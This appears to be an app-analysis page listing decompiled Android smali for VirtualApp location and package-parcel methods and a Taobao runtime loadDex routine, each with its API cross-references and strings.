                              275if-eqz v0, :cond_17c
                              277invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
                              279invoke-virtual {v0, p3, v1}, Lcom/lody/virtual/remote/vloc/VLocation;->writeToParcel(Landroid/os/Parcel;I)V
                              280goto_179: move v0, v1
                              281goto/16 :goto_a
                              282cond_17c:
                              283invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              284goto/16 :goto_179
                              285sswitch_180:
                              286const-string v2, "com.lody.virtual.server.IVirtualLocationManager"
                              288invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              290invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              291move-result v2
                              292if-eqz v2, :cond_193
                              294sget-object v0, Lcom/lody/virtual/remote/vloc/VLocation;->CREATOR:Landroid/os/Parcelable$Creator;
                              296invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              297move-result-object v0
                              298check-cast v0, Lcom/lody/virtual/remote/vloc/VLocation;
                              299cond_193:
                              300invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->setGlobalLocation(Lcom/lody/virtual/remote/vloc/VLocation;)V
                              302invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              303move v0, v1
                              304goto/16 :goto_a
                              305sswitch_19c:
                              306const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              308invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              310invoke-virtual {p0}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->getGlobalLocation()Lcom/lody/virtual/remote/vloc/VLocation;
                              311move-result-object v0
                              313invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              314if-eqz v0, :cond_1b3
                              316invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
                              318invoke-virtual {v0, p3, v1}, Lcom/lody/virtual/remote/vloc/VLocation;->writeToParcel(Landroid/os/Parcel;I)V
                              319goto_1b0: move v0, v1
                              320goto/16 :goto_a
                              321cond_1b3:
                              322invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              323goto/16 :goto_1b0
                              324nop
                              Cross References
                              APIs
                              • android.util.Log.e
                              • java.io.File.<init>
                              • java.io.File.getName
                              • java.lang.String.contains
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.e
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.d
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.d
                              • java.io.File.<init>
                              • java.io.File.delete
                              • java.lang.System.currentTimeMillis
                              • java.lang.System.currentTimeMillis
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.d
                              • java.lang.Boolean.booleanValue
                              • com.taobao.android.runtime.Dex2OatService.start
                              • java.io.File.exists
                              • java.io.File.length
                              • java.lang.System.currentTimeMillis
                              • java.lang.System.currentTimeMillis
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.io.File.length
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.d
                              • java.io.File.delete
                              • java.lang.Boolean.valueOf
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.e
                              Strings
                              • RuntimeUtils
                              • - RuntimeUtils loadDex disabled.
                              • - RuntimeUtils loadDex disabled: sourcePathName=
                              • , mExcludeVersions=
                              • setIsDex2oatEnabled
                              • - RuntimeUtils setIsDex2oatEnabled: enabled=false, success=
                              • - RuntimeUtils loadDex: dex2oatEnabled=
                              • , IsVerificationEnabled=
                              • , sourcePathName=
                              • , outputPathName=
                              • - loadDe && x: dexFile=
                              • , odexFile=
                              • , elapsed=
                              • ms
                              • - odexFile is valid: dexFile=
                              • , odexFile length=
                              • loadDex
                              • - odexFile is invalid: dexFile=
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v8, 0x0
                              2iget-boolean v0, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mEnabled:Z
                              3if-nez v0, :cond_11
                              5const-string v0, "RuntimeUtils"
                              7const-string v1, "- RuntimeUtils loadDex disabled."
                              9invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              11invoke-static {p2, p3, p4}, Ldalvik/system/DexFile;->loadDex(Ljava/lang/String;Ljava/lang/String;I)Ldalvik/system/DexFile;
                              12move-result-object v0
                              13goto_10: return-object v0
                              14cond_11:
                              15iget-object v0, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mExcludeVersions:Ljava/lang/String;
                              16if-eqz v0, :cond_4f
                              18iget-object v0, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mExcludeVersions:Ljava/lang/String;
                              19new-instance v1, Ljava/io/File;
                              21invoke-direct {v1, p2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              23invoke-virtual {v1}, Ljava/io/File;->getName()Ljava/lang/String;
                              24move-result-object v1
                              26invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              27move-result v0
                              28if-eqz v0, :cond_4f
                              30const-string v0, "RuntimeUtils"
                              31new-instance v1, Ljava/lang/StringBuilder;
                              33invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              35const-string v2, "- RuntimeUtils loadDex disabled: sourcePathName="
                              37invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              38move-result-object v1
                              40invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              41move-result-object v1
                              43const-string v2, ", mExcludeVersions="
                              45invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              46move-result-object v1
                              48iget-object v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mExcludeVersions:Ljava/lang/String;
                              50invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              51move-result-object v1
                              53invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              54move-result-object v1
                              56invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              58invoke-static {p2, p3, p4}, Ldalvik/system/DexFile;->loadDex(Ljava/lang/String;Ljava/lang/String;I)Ldalvik/system/DexFile;
                              59move-result-object v0
                              60goto/16 :goto_10
                              61cond_4f: sget-boolean v0, Lcom/taobao/android/runtime/VMUtil;->IS_VM_ART:Z
                              62if-eqz v0, :cond_19f
                              64invoke-static {v8}, Lcom/taobao/android/dex/interpret/ARTUtils;->setIsDex2oatEnabled(Z)Ljava/lang/Boolean;
                              65move-result-object v0
                              67const-string v1, "setIsDex2oatEnabled"
                              69invoke-direct {p0, v1, v0}, Lcom/taobao/android/runtime/AndroidRuntime;->trace(Ljava/lang/String;Ljava/lang/Boolean;)V
                              71const-string v1, "RuntimeUtils"
                              72new-instance v2, Ljava/lang/StringBuilder;
                              74invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              76const-string v3, "- RuntimeUtils setIsDex2oatEnabled: enabled=false, success="
                              78invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              79move-result-object v2
                              81invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              82move-result-object v0
                              84invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              85move-result-object v0
                              87invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              89invoke-static {}, Lcom/taobao/android/dex/interpret/ARTUtils;->isDex2oatEnabled()Ljava/lang/Boolean;
                              90move-result-object v1
                              92const-string v0, "RuntimeUtils"
                              93new-instance v2, Ljava/lang/StringBuilder;
                              95invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              97const-string v3, "- RuntimeUtils loadDex: dex2oatEnabled="
                              99invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              100move-result-object v2
                              102invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              103move-result-object v2
                              105const-string v3, ", IsVerificationEnabled="
                              107invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              108move-result-object v2
                              110invoke-static {}, Lcom/taobao/android/dex/interpret/ARTUtils;->IsVerificationEnabled()Ljava/lang/Boolean;
                              111move-result-object v3
                              113invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              114move-result-object v2
                              116const-string v3, ", sourcePathName="
                              118invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              119move-result-object v2
                              121invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              122move-result-object v2
                              124const-string v3, ", outputPathName="
                              126invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              127move-result-object v2
                              129invoke-virtual {v2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              130move-result-object v2
                              132invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              133move-result-object v2
                              135invoke-static {v0, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              136new-instance v2, Ljava/io/File;
                              138invoke-direct {v2, p3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              139if-eqz p5, :cond_10f
                              141invoke-virtual {v2}, Ljava/io/File;->delete()Z
                              142goto_bc:
                              143invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                              144move-result-wide v2
                              146invoke-static {p2, p3, p4}, Ldalvik/system/DexFile;->loadDex(Ljava/lang/String;Ljava/lang/String;I)Ldalvik/system/DexFile;
                              147move-result-object v0
                              149invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                              150move-result-wide v4
                              151sub-long v2, v4, v2
                              153const-string v4, "RuntimeUtils"
                              154new-instance v5, Ljava/lang/StringBuilder;
                              156invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              158const-string v6, "- loadDe && x: dexFile="
                              160invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              161move-result-object v5
                              163invoke-virtual {v5, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              164move-result-object v5
                              166const-string v6, ", odexFile="
                              168invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              169move-result-object v5
                              171invoke-virtual {v5, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              172move-result-object v5
                              174const-string v6, ", elapsed="
                              176invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              177move-result-object v5
                              179invoke-virtual {v5, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                              180move-result-object v2
                              182const-string v3, "ms"
                              184invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              185move-result-object v2
                              187invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              188move-result-object v2
                              190invoke-static {v4, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              191if-nez p5, :cond_109
                              192if-eqz v1, :cond_109
                              194invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
                              195move-result v1
                              196if-nez v1, :cond_109
                              198invoke-static {p1, p2, p3}, Lcom/taobao/android/runtime/Dex2OatService;->start(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                              199cond_109: const/4 v1, 0x1
                              201invoke-static {v1}, Lcom/taobao/android/dex/interpret/ARTUtils;->setIsDex2oatEnabled(Z)Ljava/lang/Boolean;
                              202goto/16 :goto_10
                              203cond_10f:
                              204invoke-virtual {v2}, Ljava/io/File;->exists()Z
                              205move-result v0
                              206if-eqz v0, :cond_bc
                              208invoke-virtual {v2}, Ljava/io/File;->length()J
                              209move-result-wide v4
                              210const-wide/16 v6, 0x0
                              211cmp-long v0, v4, v6
                              212if-lez v0, :cond_bc
                              213try_start_11f:
                              214invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                              215move-result-wide v4
                              217invoke-static {v2}, Lcom/taobao/android/runtime/OatFile;->fromFile(Ljava/io/File;)Lcom/taobao/android/runtime/OatFile;
                              219invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                              220move-result-wide v6
                              221sub-long v4, v6, v4
                              223const-string v0, "RuntimeUtils"
                              224new-instance v3, Ljava/lang/StringBuilder;
                              226invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              228const-string v6, "- odexFile is valid: dexFile="
                              230invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              231move-result-object v3
                              233invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              234move-result-object v3
                              236const-string v6, ", odexFile="
                              238invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              239move-result-object v3
                              241invoke-virtual {v3, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              242move-result-object v3
                              244const-string v6, ", odexFile length="
                              246invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              247move-result-object v3
                              249invoke-virtual {v2}, Ljava/io/File;->length()J
                              250move-result-wide v6
                              252invoke-virtual {v3, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                              253move-result-object v3
                              255const-string v6, ", elapsed="
                              257invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              258move-result-object v3
                              260invoke-virtual {v3, v4, v5}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                              261move-result-object v3
                              263const-string v4, "ms"
                              265invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              266move-result-object v3
                              268invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              269move-result-object v3
                              271invoke-static {v0, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              272try_end_16c: goto/16 :goto_bc
                              273catch_16e: move-exception v0
                              275invoke-virtual {v2}, Ljava/io/File;->delete()Z
                              277const-string v2, "loadDex"
                              279invoke-static {v8}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              280move-result-object v3
                              282invoke-direct {p0, v2, v3}, Lcom/taobao/android/runtime/AndroidRuntime;->trace(Ljava/lang/String;Ljava/lang/Boolean;)V
                              284const-string v2, "RuntimeUtils"
                              285new-instance v3, Ljava/lang/StringBuilder;
                              287invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              289const-string v4, "- odexFile is invalid: dexFile="
                              291invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              292move-result-object v3
                              294invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              295move-result-object v3
                              297const-string v4, ", odexFile="
                              299invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              300move-result-object v3
                              302invoke-virtual {v3, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              303move-result-object v3
                              305invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              306move-result-object v3
                              308invoke-static {v2, v3, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                              309goto/16 :goto_bc
                              310cond_19f:
                              311invoke-static {p2, p3, p4}, Lcom/taobao/android/runtime/DalvikUtils;->loadDex(Ljava/lang/String;Ljava/lang/String;I)Ldalvik/system/DexFile;
                              312move-result-object v0
                              313goto/16 :goto_10
                              Cross References
                              APIs
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.os.Parcel.writeParcelable
                              • android.os.Parcel.writeString
                              • android.os.Parcel.writeBundle
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.os.Parcel.writeParcelable
                              • android.os.Parcel.writeString
                              • android.os.Parcel.writeBundle
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.os.Parcel.writeParcelable
                              • android.os.Parcel.writeString
                              • android.os.Parcel.writeBundle
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.os.Parcel.writeParcelable
                              • android.os.Parcel.writeString
                              • android.os.Parcel.writeBundle
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.os.Parcel.writeParcelable
                              • android.os.Parcel.writeString
                              • android.os.Parcel.writeBundle
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.os.Parcel.writeParcelable
                              • android.os.Parcel.writeString
                              • android.os.Parcel.writeBundle
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.os.Parcel.writeParcelable
                              • android.os.Parcel.writeString
                              • android.os.Parcel.writeBundle
                              • java.util.ArrayList.size
                              • android.os.Parcel.writeInt
                              • java.util.ArrayList.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • android.os.Parcel.writeStringList
                              • android.os.Parcel.writeStringList
                              • android.os.Parcel.writeParcelable
                              • android.os.Parcel.writeBundle
                              • android.os.Parcel.writeString
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeString
                              • android.os.Parcel.writeString
                              • android.os.Parcel.writeStringList
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.writeTypedList
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              3iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->activities:Ljava/util/ArrayList;
                              5invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
                              6move-result v0
                              8invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
                              10iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->activities:Ljava/util/ArrayList;
                              12invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              13move-result-object v3
                              14cond_10:
                              15invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              16move-result v0
                              17if-eqz v0, :cond_54
                              19invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              20move-result-object v0
                              21check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;
                              23iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->info:Landroid/content/pm/ActivityInfo;
                              25invoke-virtual {p1, v1, v2}, Landroid/os/Parcel;->writeParcelable(Landroid/os/Parcelable;I)V
                              27iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->className:Ljava/lang/String;
                              29invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              31iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->metaData:Landroid/os/Bundle;
                              33invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeBundle(Landroid/os/Bundle;)V
                              35iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->intents:Ljava/util/ArrayList;
                              36if-eqz v1, :cond_52
                              38iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->intents:Ljava/util/ArrayList;
                              40invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                              41move-result v1
                              42goto_35:
                              43invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeInt(I)V
                              45iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->intents:Ljava/util/ArrayList;
                              46if-eqz v1, :cond_10
                              48iget-object v0, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->intents:Ljava/util/ArrayList;
                              50invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              51move-result-object v1
                              52goto_42:
                              53invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              54move-result v0
                              55if-eqz v0, :cond_10
                              57invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              58move-result-object v0
                              59check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityIntentInfo;
                              61invoke-virtual {v0, p1, p2}, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityIntentInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              62goto/16 :goto_42
                              63cond_52: move v1, v2
                              64goto/16 :goto_35
                              65cond_54:
                              66iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->receivers:Ljava/util/ArrayList;
                              68invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
                              69move-result v0
                              71invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
                              73iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->receivers:Ljava/util/ArrayList;
                              75invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              76move-result-object v3
                              77cond_63:
                              78invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              79move-result v0
                              80if-eqz v0, :cond_a7
                              82invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              83move-result-object v0
                              84check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;
                              86iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->info:Landroid/content/pm/ActivityInfo;
                              88invoke-virtual {p1, v1, v2}, Landroid/os/Parcel;->writeParcelable(Landroid/os/Parcelable;I)V
                              90iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->className:Ljava/lang/String;
                              92invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              94iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->metaData:Landroid/os/Bundle;
                              96invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeBundle(Landroid/os/Bundle;)V
                              98iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->intents:Ljava/util/ArrayList;
                              99if-eqz v1, :cond_a5
                              101iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->intents:Ljava/util/ArrayList;
                              103invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                              104move-result v1
                              105goto_88:
                              106invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeInt(I)V
                              108iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->intents:Ljava/util/ArrayList;
                              109if-eqz v1, :cond_63
                              111iget-object v0, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityComponent;->intents:Ljava/util/ArrayList;
                              113invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              114move-result-object v1
                              115goto_95:
                              116invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                              117move-result v0
                              118if-eqz v0, :cond_63
                              120invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              121move-result-object v0
                              122check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityIntentInfo;
                              124invoke-virtual {v0, p1, p2}, Lcom/lody/virtual/server/pm/parser/VPackage$ActivityIntentInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              125goto/16 :goto_95
                              126cond_a5: move v1, v2
                              127goto/16 :goto_88
                              128cond_a7:
                              129iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->providers:Ljava/util/ArrayList;
                              131invoke-virtual {v0}, Ljava/util/ArrayList;->size()I
                              132move-result v0
                              134invoke-virtual {p1, v0}, Landroid/os/Parcel;->writeInt(I)V
                              136iget-object v0, p0, Lcom/lody/virtual/server/pm/parser/VPackage;->providers:Ljava/util/ArrayList;
                              138invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                              139move-result-object v3
                              140cond_b6:
                              141invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              142move-result v0
                              143if-eqz v0, :cond_fa
                              145invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              146move-result-object v0
                              147check-cast v0, Lcom/lody/virtual/server/pm/parser/VPackage$ProviderComponent;
                              149iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ProviderComponent;->info:Landroid/content/pm/ProviderInfo;
                              151invoke-virtual {p1, v1, v2}, Landroid/os/Parcel;->writeParcelable(Landroid/os/Parcelable;I)V
                              153iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ProviderComponent;->className:Ljava/lang/String;
                              155invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              157iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ProviderComponent;->metaData:Landroid/os/Bundle;
                              159invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeBundle(Landroid/os/Bundle;)V
                              161iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ProviderComponent;->intents:Ljava/util/ArrayList;
                              162if-eqz v1, :cond_f8
                              164iget-object v1, v0, Lcom/lody/virtual/server/pm/parser/VPackage$ProviderComponent;->intents:Ljava/util/ArrayList;
                              166invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                              167move-result v1
                              168goto_db:
                              169invoke-virtual {p1, v1}, Landroid/os/Parcel;->writeInt(I)V
